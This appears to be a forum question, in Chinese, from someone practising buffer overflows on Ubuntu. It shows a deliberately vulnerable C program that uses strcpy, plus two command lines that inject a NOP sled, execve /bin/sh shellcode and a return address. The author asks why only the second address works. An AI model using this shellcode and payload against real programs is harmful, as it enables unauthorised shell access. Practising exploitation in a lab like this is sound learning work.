当我在ubuntu中练习bof(缓冲区溢出)时,我发现了一些奇怪的东西。
我使用了这段代码。 (test.c编译的文件是" test")
#include <stdio.h>
int main(int argc, char* argv[])
{
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return0;
}
我调试了它。和字符缓冲区启动0xffffd57c。 所以我写这个。
qwe@ubuntu:~/Document$ test $(python -c 'print "\x90"*237 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x7c\xd5\xff\xff"')
但它不起作用。
奇怪的是这段代码在下面工作。
qwe@ubuntu:~/Document$ test $(python -c 'print "\x90"*237 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x94\xd7\xff\xff"')
0xffffd794远离缓冲区的起始地址(0xffffd57c),甚至超过了nop着陆区的大小。
我不知道为什么会这样,我想知道。